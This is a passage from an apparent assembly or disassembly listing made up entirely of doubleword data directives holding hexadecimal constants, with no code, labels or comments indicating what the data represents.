0D3AF46BDh, 0F26E14D0h dd 1146BEFEh, 9C807175h, 78554C78h, 0ECB71379h, 847AF5D9h dd 0B1761C2h, 0EFC393B7h, 0E20BB26Ah, 8CB72528h, 0E6EB1C6Bh dd 2F0101CFh, 0CF8B758Ah dd 0D680BFD2h, 34F82CDh, 97E74AE4h, 76503BFEh, 26CCEF4Ch dd 4F0B2657h, 0F4451F5Bh, 0BEC6EA44h, 6674F492h, 66B2110Eh dd 48B3B29Ch, 0AD0C4BC7h, 124F4492h, 590B10F2h, 0CCF46D3Bh dd 90A19B9Ch, 0FB4E8BB3h, 3248CBDDh, 0B1AF9FC6h, 3D26FF47h dd 66C16EAEh, 6A60F6B8h, 3DE6E691h, 4467831h, 3C877963h dd 9C638DB5h, 0A1D28FE3h, 2560F609h, 5FB52031h, 0F9E896B2h dd 0ABC82B5Ch, 1E140BB0h, 6FEC726Fh, 0B49C9B1h, 0E2BC3567h dd 0DF97B58Dh, 0CBB40B40h, 1F1F3328h, 30A8AAA6h, 6731FB85h dd 6BC2BAF2h, 3B47D596h, 0DAA57CD8h, 0C3B54098h, 4857B0AEh dd 372FAF7h, 0FB76BFA8h, 0B5071CAh, 66617E39h, 0F6C5470Fh dd 6EAD6517h, 9BD19EE9h, 981EB9E8h, 0AF092E5Bh, 3E43AFCh dd 460BA4D3h, 0B46B1D7Ch, 0E3A453BAh, 897C21A6h, 0FE23B597h dd 0EAD281FDh, 0AD876948h, 7E235A77h, 591AD25Dh, 0BBFAAF62h dd 4F1E60C9h, 0E897BF65h, 7C545A2Eh, 0E774E976h, 0FE9F8DFAh dd 0C2965780h, 0A0C6881Ch, 4A36C002h, 4B3E607Eh, 9326293Dh dd 0C896556h, 0C6F744EDh, 1143C9EDh, 656BB647h, 71CD93E8h dd 0B5EA6B47h, 218BC257h, 0B76024A9h, 3C5D9B4Ah, 0B9236E10h dd 76D65C2Fh, 50B5C1D0h, 78F1FC70h, 3E81AACFh, 26C49E1Bh dd 832495AEh, 0A504BF14h, 92FC1324h, 0D4FB3F98h, 719445CAh dd 6AA6AAC5h, 66AD615Eh, 393D36D4h, 7D0C60D3h, 86D268CEh dd 22C50D26h, 0D9790272h, 6C780E36h, 0A9C7F71Ch, 0F14A11AEh dd 0F8531B47h, 75C46B2Bh, 0D4666E5Eh, 0C1C1E2DDh, 4085A79h dd 3E3176F2h, 8DB5ADD4h, 73D50300h, 59F0F633h, 293B4A3Ah dd 0CB8CD638h, 1352D7F1h, 0D5A1ADABh, 344094C2h, 0A1932E10h dd 0F2298BBh, 1746F45Bh, 0B773EEA4h, 5F661417h, 91DB3D80h dd 0EE24AA00h, 0CF5EB01h, 7FD26D2Ah, 94CB5D34h, 124447B6h dd 0D67383B2h, 0F5C3ECFCh, 5004C0D1h, 89440AB9h, 251E1671h dd 92C23044h, 11FA0BE6h, 680496FAh, 0F0D32C52h, 54089F66h dd 7267F952h, 8A28A325h, 3430B235h, 0AAD63440h, 8A0BA938h dd 0BED551C0h, 0A8317250h, 5A78BC6Ch, 0ED54CDBAh, 39F3FBDh dd 37AEF2EDh, 0FDF04D9Ah, 3B8CFFDDh, 35C40DDCh, 0FC72A7CDh dd 811CCEADh, 4BC20416h, 50E7F836h, 0B7A5B2CCh, 0D306230h dd 24E3CC8Ch, 4E861A3Bh, 528AC41Eh, 3C7898E5h, 988FABAEh dd 6157E7D0h, 6A6D61FAh, 4A6FF60h, 0BBF58D11h, 84D8E6FCh dd 0EB1058F6h, 0A1CDB0D5h, 0B2796E86h, 1FB0335Dh, 9076E5BFh dd 61123381h, 0D4ADF9ADh, 568508CDh, 0A0751604h, 7CC15508h dd 9A8EF83Ah, 0D2E0163Ah, 4BCEA7A4h, 0F026CAA7h, 0BD71D745h dd 0D632C3C0h, 116C7E6Ah, 35433D06h, 89FFCA4Ah, 4AE6C58Dh dd 5FA53194h, 0D88FE95Eh, 846BE9DDh, 5A1FC9DBh, 0FFC18EF5h dd 0E41A390Ah, 0BB1850ACh, 778FFAA9h, 0F73E59D0h, 0F9609FCDh dd 9DA70103h, 6972EBB0h, 0FC9355Bh, 3714CFF1h, 0B03146AAh dd 772D7C82h, 77CD68E7h, 61D54CE1h, 0B750E679h, 4E1AECA0h dd 95442D93h, 42C02162h, 751782CCh, 0C629F58Fh, 222280F2h dd 7A311B70h, 2FACC33Ch, 607583C5h, 620E42E3h, 0DDCA11E2h dd 0BCD3A960h, 5EABFBE8h, 0EE93972h, 6CCEC1C7h, 0F1A55120h dd 0EF5150F9h, 0B160E903h, 0F9319521h, 0A8C1CC82h, 0FB42E2D2h dd 0DA502FF8h, 9552AC9Eh, 0A4682A4Fh, 349C6C95h, 0FD50C559h dd 0FF476B34h, 4A0BD4DEh, 0DFFCA631h, 10EFF319h, 0E1FFE37Fh dd 278EC142h, 48B5BA65h, 98725549h, 1FBC05C8h, 850058B8h dd 18DB980Ch, 0E81714B4h, 4E5030h, 2016DB84h, 0A674CAE7h dd 3B29DE0Ah, 9172A85h, 50EAD93Fh, 0C36AF93Fh, 6ADC435Ch dd 0F8508E1Bh, 6A70BB20h, 4FDFFAADh, 7C8961D3h, 0FBAFF879h dd 9B7DCE17h, 7A99B85h, 934299D4h, 8AD63CDBh, 76FF823Ah dd 97F0ACA1h, 0E02AD22Ch, 6189503Dh, 0E3E577A0h, 9ECA965Eh dd 2141219Dh, 0BA0654A3h, 225D58A7h, 40A5EBFAh, 4A1F17B4h dd 0F4309C89h, 2C877573h, 0B9A11AB9h, 0E130206Ch, 138AB869h dd 1F032A20h, 1D5CADFAh, 899068FFh, 70B39A66h, 667F77E2h dd 75F314F1h, 6F1593ECh, 3AE70AF3h, 0D0EF6A65h, 1EF09800h dd 7DBE01A1h, 131A98F0h, 61606DF9h, 466416B6h, 2C8564C7h dd 4C445112h, 487790ECh, 62286F8Bh, 24F716DDh, 2C2B755Ah dd 54BFAAB4h, 620AD1EAh, 0E71242F0h, 3E102E0Fh, 0BF8DEC83h dd 7954240Eh, 880D0161h, 2D231C03h, 0DFC5B0ADh, 87295C13h dd 54CB107Ah, 62755FB1h, 0CB5D12A2h, 0BC4779B6h, 45AF4DCBh dd 181F4471h, 7B4491E6h, 0E961970Dh, 0E737A8Dh, 5EE4D092h dd 6BB1835Dh, 0A3FEF7DAh, 0F34603B7h, 53C5AE6Ch, 4E9814EBh dd 30CA0D28h, 1E045AF5h, 89C7D8D2h, 233DAB2Fh, 85EB4E12h dd 1AE8BE9Ch, 0A90FF08Fh, 77A76190h, 529EE3BBh, 5CAF8E70h dd 0BBF208DBh, 11465387h, 2DF48852h, 92A9F001h, 60C6715Dh dd 28A536Eh, 66F219F5h, 0D8718EC5h, 9B3F139Bh, 1670D216h dd 5FF7EE6Dh, 11F7B425h, 0AB3DA87Eh, 2002662Dh, 6CBA7418h dd 0B24B0A84h, 3296F9E0h, 6197149Dh, 0F2B643EFh, 0EDFE47AEh dd 3A21C714h, 0E4498544h, 82549F7Fh, 7BC2167Eh, 0D77FB415h dd 0DD8A3843h, 0D742AFBEh, 0C6945085h, 0EC2C5066h, 19BB0A6Ah dd 3168A3DBh, 8374569h, 0BE489D0Ah, 0CE4A2446h, 30416FA6h dd 0CD9122DBh, 18A4A66Dh, 0BF2578A6h, 5B89C2D2h, 0C9A8E887h dd 17785D11h, 0BCBFA443h, 61F8B27Eh, 0B32D03C5h, 863928A3h dd 6B28E857h, 0A2C93A0Eh, 0D24896C8h, 8B639142h, 0D7C4EBB6h dd 92EAEA9Fh, 0BECCE65h, 736C9593h, 0A4C4AF93h, 0CE576D3Dh dd 7A697B46h, 5165EDB2h, 89E6976Ch, 0B9E11E10h, 41F21DA5h dd 3D4DE353h, 20ED0EC9h, 0F86CEFCh, 1DB76727h, 2F8BE734h dd 5F374011h, 0AFC01A24h, 0EDD5AFECh, 0F8A73A1Fh, 64681540h dd 0D8CA9804h, 0C029C1F7h, 0CF7C6409h, 0DE98E644h, 346CA17Fh dd 953227F6h, 0E95A954Bh, 2C73E1CCh, 38F99B36h, 15CDD83Dh dd 7950DADFh, 4D88F76Eh, 33899FBFh, 0B26DEAh, 7D328E56h dd 75D662C0h, 1612B6AEh, 0C3BE428Eh, 1DDCE484h, 0AAEE7156h dd 9BE795F0h, 821F6497h, 0B7E429AAh, 95CB07C9h, 233DE135h dd 0D6FCC14Dh, 4C739580h, 0A13265CFh, 0A07F0CF0h, 4D47D632h dd 0DB3AF674h, 98CBC702h, 8BAB744Bh, 0B6EBF82Eh, 0E4C8B952h dd 5177FBE3h, 0E2D50679h, 0B14843A9h, 0BD1F391Dh, 2EA7CEB7h dd 292B0D62h, 0C8D18663h, 0FE872BBBh, 527AE031h, 3E4DC18Fh dd 29D82B6Fh, 0C6F717FCh, 0FD7B07DEh, 0B2D3E63Dh, 1DCBAA5h dd 76178E0Fh, 399BE168h, 1A8C2EB8h, 9D4CB9A5h, 0E99906FFh dd 0E9A9B2Eh, 171B2BD9h, 2530F01Ch, 0C8804B2Eh, 601C91AFh dd 0A44E3864h, 177332AEh, 48C94995h, 0E6B44719h, 0BC4C92C5h dd 0B35BE0Eh, 0BD3C81FBh, 8DA1D8E4h, 0EF54301Eh, 867768EFh dd 0F20DD02Ah, 0C3222B2Fh, 0CCFF2A0Ah, 489EC6A3h, 7D0D73B1h dd 0F2754603h, 8197731Eh, 7E7937F0h, 0D195065Bh, 8DCB4CE2h dd 0A0CBAC99h, 49BE5E0h, 0EC56AB60h, 0AC635A93h, 41D8E7BEh dd 5E381C8Bh, 0ADEE136Fh, 726470E7h, 0C443BA22h, 82802B77h dd 5830DED2h, 53659DCh, 0B5CD36Eh, 0F5DBE926h, 30B72A97h dd 0FC689542h, 66B19919h, 6A9AE68Ah, 72B2056Dh, 7CA24FC4h dd 383E7830h, 3E48D4F3h, 87C1DBE8h, 6C61EAD2h, 0BAA4B709h dd 0FAE62AE9h, 5C40633Ch dd 13C08FCAh, 0D15B113Ah, 0A95DD272h, 68FD67CBh, 41AF809Eh dd 0C1645A69h, 0C03B02B5h, 0A88215BAh, 0C3BF50C3h, 0E8537E57h dd 4648FD9Ch, 0D44AD826h, 625B9CF4h, 3627E11Dh, 73C6F1E7h dd 0D6E5DAC4h, 0F099F7CDh, 10635A02h, 475B7E03h, 7A8D6119h dd 0B276C6BAh, 0E80FB6A1h, 4AD17778h, 0D86A979Ah, 0D6A5B7F2h dd 0B54B66BBh, 2EDECF40h, 767BF63Dh, 0A98A4813h, 0EE3283F2h dd 0FC88BBA5h, 2B12F1EFh, 298E8A96h, 831545CBh, 0ECB7870Bh dd 0CCD7CE75h, 30A7F68Dh, 0C9C8A25Ch, 3BA294D6h, 9EC5694Eh dd 4162E62Fh, 33095A4Dh, 285EB97Bh, 303FB589h, 7413972Fh dd 65910A7Dh, 0BAC17AA0h, 0F1CF75DDh, 5025F4E5h, 0BF2AC527h dd 0AC8021ABh, 0E1869C7Eh, 125F19CBh, 42953455h, 9B7CB9FCh dd 0DE6AAFA4h, 8DE3D1C2h, 0BD49548Ah, 9A0682ACh, 1D1A0F9Bh dd 627ABA4Ch, 14B2597Ch, 0EC4A91C9h, 0EF6C567Ch, 720D8C58h dd 62A94605h, 2470B758h, 6D2C194Fh, 8DA03512h, 0C864D1E8h dd 53BC2119h, 8A174DD4h, 9E49DD96h, 0A3FE3C8Ah, 2C2A3C32h dd 23C906BFh, 32AB2AC5h, 661D6D58h, 0E5396042h, 92DE2896h dd 0AE622DD1h, 0FA64A0EEh, 0C7F17C5h, 48442910h, 4BE7A7Dh dd 0A660D45Ah, 0CD74CC15h, 0AE433305h, 627CC07Fh, 0ED4AD1F3h dd 0E9A64474h, 556738AEh, 1EE2C99Ch, 0F16AF3ABh, 5AD1D7A1h dd 367CF69Fh, 732D9FC2h, 38EB8A84h, 0A7855280h, 0B8E7ED54h dd 39DB1A03h, 0E7306C90h, 535DC08Eh, 1E60A9AAh, 8BDA24E0h dd 0B9AE4C4Ah, 97F1F3C6h, 3BD6EBABh, 7D79FDD3h, 0ACD11C8Dh dd 0DC540463h, 2D31F71Eh, 63AB4AA5h, 8CBC8A9Fh, 0D0786366h dd 11662A63h, 0EC1F7EA9h, 345AD118h, 88178001h, 888817AFh dd 4113397h, 0C70E2Eh, 0D947D58Dh, 468CAAE1h, 0CBA38FB9h dd 9B4674F3h, 8782A105h, 0CFD2D0D1h, 1C069279h, 98429FDBh dd 0DA233D91h, 0B4402938h, 0F00B05C4h, 0B822AB1Eh, 60604C01h dd 0ED607B33h, 0BA17AD0Bh, 1CEBD5B7h, 0A22D24B7h, 7961175Ch dd 2EC8A229h, 43D39D4Fh, 71D4F42Ah, 643D293Fh, 4816717Bh dd 0EFC87F59h, 0CF24687Ah, 5267ABFBh, 6238A550h, 0F0C46AC8h dd 44F8EB29h, 0F8D91F08h, 0EFFFDA3Ch, 0C033CCFEh, 0DC509492h dd 0AD8127F5h, 271294BDh, 299A5DF9h, 87B157BDh, 0EF2F5098h dd 9AAAD89h, 0A750AF1h, 82EE6317h, 0A7DC37EDh, 0A0FFF956h dd 4EDD7C04h, 3724D594h, 0D2AE1086h, 0C3B37EB7h, 0E4A9CC1Fh dd 0CD6DF93Ch, 5E402005h, 0BDDDBB6Dh, 0F3FC1C37h, 0AAA2FC8Bh dd 8C7888B7h, 7D7BC8D6h, 0B6454C12h, 3C99B31Dh, 4447CD5Bh dd 71FBA68Fh, 5B382A65h, 0CF42FDB2h, 7CB4A1C2h, 90EB3369h dd 0D55CAB12h, 7DFAD74Bh, 52FDF95h, 5B02FC5Bh, 22D4545Eh dd 0CA52F6AAh, 0CB547F72h, 0B8BC7BD1h, 0F6455A33h, 4417D8E5h dd 0F69EFE9Ch, 0A7426F48h, 0A2033A5Dh, 412FF3C3h, 0CFE3B77Ch dd 0EBE38082h, 38CD0B23h, 88C8E09h, 64DF7D40h, 34C0AF19h dd 35DBBC54h, 246BB42Bh, 134CFE5Bh, 0DD3BE237h, 0C20DC476h dd 0C0655D9Bh, 0FBE18449h, 7B3A666h, 89452785h, 24E545FAh dd 3F433B11h, 1F01AEF2h, 1A0A464Eh, 28624A37h, 0FF284D14h dd 37010C0Eh, 939DCA64h, 544EF81Ah, 4A270096h, 54CC9C9Ah dd 2637062Dh, 1223B88Dh, 0E1ED9E37h, 0C5AE8FD4h, 0E64DEC02h dd 0A863658Eh, 0C33CF6A2h, 96F6D8DEh, 0D232246Ah, 0EB014E39h dd 0D19960FAh, 2738AC32h, 141B0AFEh, 0E5669699h, 0EDD86463h dd 8200E07Bh, 0E8E7A3E5h, 1ABB7317h, 0CF097B2h, 335494A3h dd 28EAA66h, 62EC5ABCh, 22472BEEh, 3F6F2C0Fh, 3AF35F2Ah dd 0EB6E8618h, 0EEAFBB1Dh, 0F7BE044Eh, 0FF19A5F1h, 0D84B6597h dd 13F72BD9h, 7763646Ch, 0A2A6F561h, 0EEF8153Bh, 1E1C0F87h dd 0CADBF2ADh, 82167B30h, 4DB13AB6h, 446B59h, 993CD2F5h dd 9B94C6F1h, 85083EE7h, 93A1B266h, 0EFCF7BAh, 0C24AF9C7h dd 0E4865B4h, 9542AF6h, 59F74C59h, 25A6CB00h, 0B232D7F1h dd 0C3A49055h, 8EA422Bh, 15F411A9h, 7B4852DCh, 0C7C5499Bh dd 9B808773h, 3EDAF76Fh, 0A59BC725h, 5309D8F6h, 234BEC3Fh dd 8793F836h, 73DDB22Ch, 0A15C332Eh, 0E5FB102Dh, 0F0B3D949h dd 1A2EFCF1h, 7A65371Bh, 0EDAB1A79h, 0C74C2B42h, 947A2202h dd 0C33A2E97h, 93EA9F2Fh, 0C945879Dh, 54CF00ECh, 0E61236E8h dd 8CDAE40Bh, 0E86B8B77h, 13DF13D4h, 0D4A48FECh, 0F864699Ch dd 0E7679299h, 38C2E694h, 0A15B8CE2h, 298A1A43h, 4E376100h dd 0CF9582C2h, 0C3ECE0C9h, 2AD48D80h, 8FEEE1h, 0E810A62Fh dd 8F540DDAh, 0B63135A2h, 0C2F139Bh, 0FD65DF94h, 3AE1E9Ch dd 0EA8F5054h, 0AF11ACC4h, 26DBD1E1h, 80A511BDh, 671B6A3Fh dd 332A4726h, 0A1882FA1h, 0D6673889h, 9707C92Ah, 145D4D9Ah dd 5E666377h, 0BF2324BEh, 5717F3CCh, 0B319D093h, 0CC6922AEh dd 0AB7E8EC2h, 9EDDE707h, 0A540866Fh, 0EA1EC3FBh, 6B9AAD03h dd 71370100h, 428599ADh, 5C1AF815h, 66A05CDEh, 0CBB94CFBh dd 0E7AC9FB8h, 2569AC1Eh, 0E114F33Eh, 0F8FD1604h, 0BB3C2B0Fh dd 8B975921h, 496B26C4h, 0C55284BCh, 9250D03Ah, 0E98C479Ch dd 799EB45Eh, 0FCD2014h, 3CE9F6A4h, 71A44C24h, 684A9C48h dd 0DC6B6AE5h, 162ED32Dh, 0C9720D42h, 8C11EF31h, 0CD4907E8h dd 70134F9Bh, 2E4F2234h, 0C6AFE8D4h, 0F7BCBB9h, 3F7086B4h dd 3BCFB9C0h, 0D69F7877h, 0F2BBABB1h, 0A85A8F2h, 0F7EE9C69h dd 0E048F3CCh, 836F357Ch, 0CE5DD917h, 6803649Eh, 56FDEFAAh dd 4738A127h, 44543945h, 491141F4h, 0F7CA7E3Ch, 0F25CA60h dd 97F9C2FAh, 2551BC6Ch, 45F2907Fh, 73A3F239h, 24ED4A1Bh dd 47BD791Ch, 0FB0A4E0h, 0DB09E5B3h, 3283266Eh, 85932889h dd 54403B61h, 0CDBD07AEh, 0E07D7326h, 77BC1105h, 0CDF5089Bh dd 83DF9F2Ch, 0CC976A4Fh, 0D7391044h, 0AE0DFF99h, 0A473BBE8h dd 17ECD45Fh, 83E92538h, 57DFBB37h, 0EDC3065Eh, 0A1975Bh dd 0A11EA29Eh, 3D041BCAh, 767CD56Eh, 0CF80BFDFh, 82EDC790h dd 4A1F4C3h, 9F658137h, 0ED4FE478h, 92B7B45Ah, 0A6F981E4h dd 7C9CA3C2h, 18AB5D12h, 52C2C272h, 3F5460FCh, 0F3E71F13h dd 0B119669Ah, 45207128h, 8B0B2469h, 9B33C292h, 724A6671h dd 5D040CC8h, 0ECE271F5h, 7CC18A07h, 6208C37Ch, 3510F8A1h dd 23592A01h, 0C823DFDDh, 3F8210F8h, 315B9580h, 0EA78A552h dd 2A5B0B2Fh, 0C25801DEh, 50A54FABh, 50B197F8h, 0E0B7E286h dd 57B9C179h, 0ECC96F2Eh, 6D4ED470h, 0D1982424h, 0B3FBD5CDh dd 7B1A56DCh, 0B4D2C7D3h, 0F64800DAh, 9009B4A7h, 6B46D030h dd 324B3C01h, 8F47CDEAh, 0D471C099h, 0E95EED8Ah, 61D4BE2Ah dd 4E1680C2h, 0CC8CDDF0h, 16A8277Bh, 0A38CE513h, 74029D06h dd 2AB4D0C6h, 27285D94h, 5B1DBD2Eh, 0FBD9A42h, 4B5E465Dh dd 5EAF2EB5h, 0D77C2971h, 9436586Eh, 0AA59B7FAh, 0FE1EFCABh dd 5BA1F27h, 68FBEDD3h, 0D2A24ACFh, 888A0343h, 0BF6842B4h dd 4C9BCD5Fh, 5D3E81Bh, 30F5E894h, 0B4FB4F09h, 0D5DD2047h dd 8F71A1CDh, 957A542Fh, 0FC1B335Bh, 27CAAF47h, 69ABA335h dd 207FDFC2h, 5BF6D0C8h, 8AF30094h, 8B2E646Dh, 98C1BE8Bh dd 58F25DCDh, 167718E9h, 16C14ABEh, 643A3A98h, 0DA41BB90h dd 6BCF0B6Bh, 347148FCh, 0C808B260h, 45E4FFDAh, 848665EBh dd 0EF0760A1h, 0D6C01233h, 0A179FFB8h, 66CE09C0h, 0FFAF799Ch dd 0F09C2A94h, 0C9179CBDh dd 6DAF366Ch, 6932C6D4h, 51321365h, 0E9C13CA9h, 82899FFCh dd 2427514Dh, 0C3ABF325h, 244A12D8h, 0A17A7564h, 0AC1AEC62h dd 54C214C8h, 14F2B6AFh, 0C5A99B8Ch, 8E573475h, 0E8EACB16h dd 4C67595h, 0FE58FBAAh, 0C5664539h, 290D2E12h, 0C438E88Dh dd 0B98DEA9h, 0BCF08A0Ah, 0F916E0D5h, 0E43143EBh, 8A0C13C5h dd 1D9BC992h, 0B6B3DAA4h, 6615762Fh, 478AD4C8h, 48BBC7C8h dd 8237A877h, 62CBBFAFh, 38CEA612h, 7F2CA5E0h, 0A5C90B99h dd 0FB925EFBh, 711FC1D4h, 0D37979BAh, 13C5EDEEh, 0DAB07317h dd 1628C941h, 2AB0B7CCh, 485B1685h, 0D882C731h, 803FBF51h dd 0F17E7158h, 56A3367Eh, 22B19013h, 7CDA5B10h, 0F154D914h dd 6B15F730h, 7317AB60h, 8B2A4036h, 71C408A3h, 0FD0EE24h dd 48203FD5h, 0CC716731h, 4B07BCEDh, 0E57B6AE9h, 0A63E4F6Bh dd 0AB6C33EDh, 0F870BA54h, 0E2041637h, 0C58DCE6Dh, 5DD6B9Bh dd 0C1CD3680h, 0F4B68C3Dh, 3478B731h, 0C53F646Fh, 0F0863529h dd 8EDE8E02h, 0D9C2DF67h, 3713A29Ah, 0D25E1195h, 4E1E0CE3h dd 0D183C573h, 0B29513E4h, 90C0C905h, 6948ADB2h, 94B7755Dh dd 83DAEB13h, 0F31C7B01h, 38705649h, 4416A683h, 12FE5D09h dd 3C259B15h, 59593B63h, 0C753F277h, 49C3F0C7h, 0C962C2AAh dd 27B23DCAh, 1351ED08h, 0D48AFF5Dh, 9023F40Dh, 91C5699Fh dd 1F2D8FD9h, 19C86905h, 68A8274Fh, 0E4D309E5h, 0B14CB330h dd 1E74F80Ch, 0C7FD199Bh, 92A7FFE6h, 6DA6DABFh, 8D3CBAF3h dd 429B860h, 0A76AFE56h, 0B7A973CCh, 90689F24h, 2AE20EDDh dd 0C7D71AB6h, 6FB09C0Ch, 7984BF55h, 221EC56Ch, 0FE9C4F45h dd 0F41F9BA4h, 6FAD7190h, 0D835CB8Ch, 335B4BD9h, 0B00A425Ah dd 9BA87737h, 0A213DE9Eh, 5C9DF502h, 7CC0419Ah, 8327B171h dd 0CACBB2D7h, 0F85E265h, 0FC4166E8h, 4BF73157h, 7F10244Ch dd 779741Dh, 31BCBA53h, 0D6100489h, 41F705E0h, 0AD2E5F51h dd 5CE56ACBh, 93F92B76h, 0D27BA22Dh, 0D1F5146Ah, 1D67D6ABh dd 7E302F42h, 7BF68530h, 0E6DB9C72h, 0E798447Fh, 35DE508Ah dd 0FF4A2AA5h, 0E5B05A45h, 1388D46Ch, 7326DA44h, 712988E1h dd 0EB299EF3h, 5F61C3D1h, 863518Ch, 0E3136157h, 5BC259E3h dd 0CF03418Dh, 0F6325B01h, 8347190h, 5E3A9176h, 4A538FEEh dd 0E1F51BF0h, 1B27E710h, 0B710D097h, 1CF3AEE2h, 0D4E26634h dd 5D9C6503h, 7DFD6528h, 8E514D75h, 0D9F3B05h, 129F58D8h dd 62B3CCD1h, 93A522C4h, 0EB7F7E4h, 0E751B735h, 8B339307h dd 37F9C68Fh, 18815B09h, 6754F99Fh, 3E8D998Ch, 0FF74189Dh dd 8793F1E0h, 8B2D4CDFh, 0A2F751A1h, 3B3E24A6h, 0BD66AF3Fh dd 0F703D7BBh, 406005CBh, 0D6F257Fh, 0C1899F00h, 4CFB326Ch dd 0D71EF39Bh, 0F01FF8F6h, 320B5DC1h, 0F919247Bh, 0F7509018h dd 34FBA415h, 48F5B462h, 0B6BE1ECAh, 0DA0B9E9Dh, 8FBDDB55h dd 0BB103A1Ch, 5168A92Bh, 70A1914h, 80D25E7Dh, 0CE70CA8Eh dd 29709767h, 9E409C1Eh, 0ACCEC7D1h, 200A6185h, 0D18BA203h dd 407D5CB3h, 0D98DB525h, 45BEFD23h, 34943AFFh, 3F6E4DAEh dd 80D1C11Eh, 2C7B9016h, 0B2FAA6B0h, 756595C4h, 1C457FEFh dd 0ECA13F9Ah, 1A0B1D2Ah, 417E19F1h, 0DE5B2546h, 0E3BC4ADDh dd 793AEEh, 0F4BE1521h, 365A63Eh, 8C4E60D6h, 775BACCAh dd 5186DF85h, 9F82B8Ah, 0F47712D1h, 9EB92592h, 363E1967h dd 8F535FCh, 0F4A0117Ch, 32F6A1C3h, 0E5244EF6h, 123F4182h dd 40EE36FDh, 0A13722D8h, 168F1DEFh, 42DE62BEh, 920CEEBEh dd 500A7D2Dh, 719D2F65h, 1AF775C7h, 0CB84D6C2h, 0C4250A27h dd 0F34A791Dh, 0D95EF4D7h, 1962740Eh, 0B085F35Bh, 70B155DDh dd 38FC7166h, 42EE2770h, 0A36476BAh, 0FA4B4BB6h, 3F12E552h dd 8C9FEDC8h, 25D1496Dh, 381E7A03h, 1E989F5Dh, 0C4484D50h dd 6F119476h, 2AD01656h, 6B728F00h, 3EC22DE8h, 42E31967h dd 6D83FBCFh, 7930C162h, 0C9A8A9C9h, 1134A43Bh, 7778BFECh dd 7FEAC598h, 6AF02E33h, 0F2ED7727h, 67DC1A1Dh, 30C7A9F7h dd 0D1254C76h, 0A1E42E15h, 8ACD6C43h, 0A33BDDBDh, 584AD5Dh dd 0F9456EBAh, 0CD25D81Fh, 0C57E1668h, 0AF6FE518h, 3B6CC38h dd 28F6F191h, 0F7AF272Dh, 0FD35841h, 0AB3FBE9Bh, 71ED57D5h dd 59EE862Bh, 8B1825CDh, 351D7171h, 0BA36E3C3h, 0F31D20F7h dd 0F8301CA5h, 8075938Ah, 92D77A77h, 0B977FDDAh, 21910D3h dd 5BF2CC28h, 0A3740A25h, 0A7D4317Fh, 0C81C891Fh, 0CFFAF542h dd 0DB8D1006h, 8B5A8419h, 904FD03h, 0A876B47Eh, 7CD31610h dd 0CD69CE43h, 0B1C186ACh, 1474C429h, 0BAAD008h, 0D44EA052h dd 8E7FAA3Dh, 744B33FCh, 7DE4638Ah, 0E74FAA81h, 0F3680A57h dd 2B75E95Eh, 1CCCA0D5h, 0CA85DDECh, 35ACDCADh, 0A7ED3263h dd 0B2FA9A0Ah, 5C76E7C5h, 0C03AF945h, 3CF08E25h, 0CCB58968h dd 4C64EECCh, 6E15AF11h, 277F640Fh, 0C42160AFh, 0A7AEE1D8h dd 51B3C11Ch, 5CF263F7h, 630FC0A3h, 0CE264298h, 0DF18544Bh dd 1C5480A6h, 906B312Eh, 13D6C1h, 0D6123C18h, 87960606h dd 43DE6FC1h, 4F30F35Fh, 2F44174h, 0D1970B90h, 4A1CA4B6h dd 0B605FD10h, 7D9BD3C5h, 357F658Ch, 9CE5D12Ah, 8758F1E6h dd 9D1F8CEBh, 0E79CFFBBh, 63DA421Fh, 0EAE28C87h, 7F577A55h dd 2DE7FB64h, 9B45C219h, 193E9B11h, 0E3F53E17h, 0A8EBC4CBh dd 5B7DA692h, 20F42F5Eh, 0CD1C2D1Ch, 69A6B990h, 0E7D45068h dd 24D24CE3h, 561CCFF8h, 3C286BE8h, 6020E63Fh, 0F1945D73h dd 8AE4211Fh, 0D194323Ch, 0EBF8EA57h, 8AE9065Ch, 68783DD1h dd 3757CF0h, 9DF04D2Eh, 0B15BEFD4h, 0C2A61082h, 3F1601D7h dd 922B47FEh, 0DDB488C6h, 64095877h, 0B1DBB70Ch, 91837243h dd 56B42CFAh, 170DA42Dh, 49C3962Dh, 59E354DCh, 0F5DD2F6Bh dd 0E4F92ECBh, 31B9166Dh, 8DE61B74h, 71E0C97Ah, 23DF83Dh dd 0D36A4D8h, 445CE78Ch, 0D18B09BBh, 3AD03F20h, 0EA73FB9Fh dd 6FA5EB8Bh, 5F1A220Eh, 686AC0A7h, 0B75AD4F1h, 9D9B01E6h dd 5F1ABECCh, 0FA2A095Eh, 76353AFDh, 65A9EB92h, 656D2978h dd 0EBE36BFBh, 0DF041FF1h, 0D306C4FCh, 0F2EAD3AEh, 2F7C6365h dd 146965F1h, 64625A59h, 26FA5510h, 53802897h, 1641A859h dd 81B8DC58h, 0C1F348F5h, 0D5C3702Fh, 0DB135A5Bh, 0DEAE7205h dd 8130EA02h, 9CDDE153h, 0C96A32C7h, 602D012Dh, 0E7C4850Ch dd 1752FB31h, 4249BE6Bh, 0D8664898h, 3A404047h, 0BC30E35h dd 0EBF82F98h, 0A6A91B38h, 6184240Ah, 250B6276h, 2AB84061h dd 20D6BB3Dh, 314FCE54h, 5030FC41h, 14CEC308h, 2C2B1915h dd 37725253h, 821D729h, 80F05AA0h, 0B66B8F1Bh, 68F78973h dd 0F6922759h, 9124D56Ch, 52AD4E89h, 0DEDCB967h, 25DD1523h dd 378086FCh, 0AA902349h, 0AD83F36Ah, 0BF2C8DA0h, 1EFFB070h dd 0C3E69A89h, 868E4B84h, 0AE3C79CEh, 9458D2B4h, 9D54FA84h dd 59A2E23Bh, 285ED165h, 9B854BF1h, 68616484h, 0B752D721h dd 283DC62Fh, 0A3AD6B91h, 7C3E296Ch, 46BD538Fh, 51D64FDDh dd 0B070A569h, 89F754Ah, 0C37849CCh, 263755EAh, 758A3204h dd 4F87FB17h, 0EAD153D5h, 2E9BA223h, 0EC48E706h, 67D729DDh dd 2DB3B5A7h, 44F60726h, 0B2500C6Ch, 0CD76BC33h, 93A45BDCh dd 82693629h, 0DFDFD404h, 14CC0F83h, 55DC52DFh, 297950C6h dd 4DEB8062h, 27D53FE9h, 0BDB20488h, 684A12F8h, 1ACA15F8h dd 0C11DEC54h, 6940ACD3h dd 3ECFD753h, 0BFE8065Dh, 5169304Eh, 4F11B1A5h, 0A5B5C471h dd 6A8D5919h, 0ECEFF33Eh, 0DE601B58h, 0C11FE6EDh, 8590688Ah dd 50BFCE17h, 0FE4D1DC7h, 0F91BA5CFh, 0F5C88EF9h, 0DC2BA728h dd 47A2DC90h, 0FA096F8Fh, 22513C7Ch, 0A5B4C5F0h, 1CCE4244h dd 0DE3561EDh, 19FD99C1h, 1EE8EFCFh, 